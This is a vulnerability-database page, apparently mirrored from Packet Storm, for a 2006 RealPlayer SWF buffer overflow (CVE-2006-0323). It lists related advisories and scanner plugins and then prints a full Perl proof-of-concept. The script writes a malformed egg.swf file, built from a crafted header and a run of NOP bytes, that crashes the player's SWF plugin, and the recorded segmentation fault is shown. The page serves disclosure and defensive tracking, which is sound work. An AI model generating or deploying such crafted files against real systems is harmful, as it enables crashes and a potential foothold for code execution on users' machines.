realplayer-swf-PoC.pl.txt

🗓️ 01 Apr 2006 00:00:00Reported by Federico L. Bossi BoninType

packetstorm🔗 packetstormsecurity.com👁 39 Views

RealPlayer buffer overflow vulnerability PoC with SWF exploi

Reporter	Title	Published	Views	Family All 35
0day.today	RealPlayer <= 10.5 (6.0.12.1040-1348) SWF Buffer Overflow PoC	28 Mar 200600:00	–	zdt
FreeBSD	linux-realplayer -- buffer overrun	23 Mar 200600:00	–	freebsd
Tenable Nessus	RealPlayer for Windows Multiple Overflows (2)	11 Nov 200500:00	–	nessus
Tenable Nessus	iTunes For Windows < 6.0 Local Code Execution	16 Nov 200500:00	–	nessus
Tenable Nessus	RealPlayer for Linux, Mac, and Windows Remote Overflows	23 Mar 200600:00	–	nessus
Tenable Nessus	FreeBSD : linux-realplayer -- buffer overrun (25858c37-bdab-11da-b7d4-00123ffe8333)	13 May 200600:00	–	nessus
Tenable Nessus	GLSA-200603-24 : RealPlayer: Buffer overflow vulnerability	27 Mar 200600:00	–	nessus
Tenable Nessus	RealPlayer for Windows < Build 6.0.12.1483 Multiple Vulnerabilities	24 Mar 200600:00	–	nessus
Tenable Nessus	RHEL 3 / 4 : RealPlayer (RHSA-2006:0257)	24 Jan 201300:00	–	nessus
Tenable Nessus	Rhapsody SWF File Handling Buffer Overflow	24 Mar 200600:00	–	nessus

`#!/usr/bin/perl  
###################################################  
# RealPlayer: Buffer overflow vulnerability / PoC  
#  
# CVE-2006-0323  
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323  
#  
# RealNetworks Advisory  
# http://service.real.com/realplayer/security/03162006_player/en/  
#  
# Federico L. Bossi Bonin   
# fbossi[at]netcomm.com.ar  
###################################################  
  
# Program received signal SIGSEGV, Segmentation fault.  
# [Switching to Thread -1218976064 (LWP 21932)]  
# 0xb502eeaf in CanUnload2 () from ./plugins/swfformat.so  
  
my $EGGFILE="egg.swf";  
my $header="\x46\x57\x53\x05\xCF\x00\x00\x00\x60";  
  
my $endheader="\x19\xe4\x7d\x1c\xaf\xa3\x92\x0c\x72\xc1\x80\x00\xa2\x08\x01".  
"\x00\x00\x00\x00\x01\x02\x00\x01\x00\x00\x00\x02\x03\x00\x02".  
"\x00\x00\x00\x04\x04\x00\x03\x00\x00\x00\x08\x05\x00\x04\x00".  
"\x00\x00\x00\x89\x06\x06\x01\x00\x01\x00\x16\xfa\x1f\x40\x40".  
"\x00\x00\x00";  
  
  
open(EGG, ">$EGGFILE") or die "ERROR:$EGGFILE\n";  
print EGG $header;  
  
for ($i = 0; $i < 135; $i++) {  
$buffer.= "\x90";  
}  
  
print EGG $buffer;  
print EGG $endheader;  
close(EGG);  
`

01 Apr 2006 00:00Current

6.3Medium risk

Vulners AI Score6.3

EPSS0.68467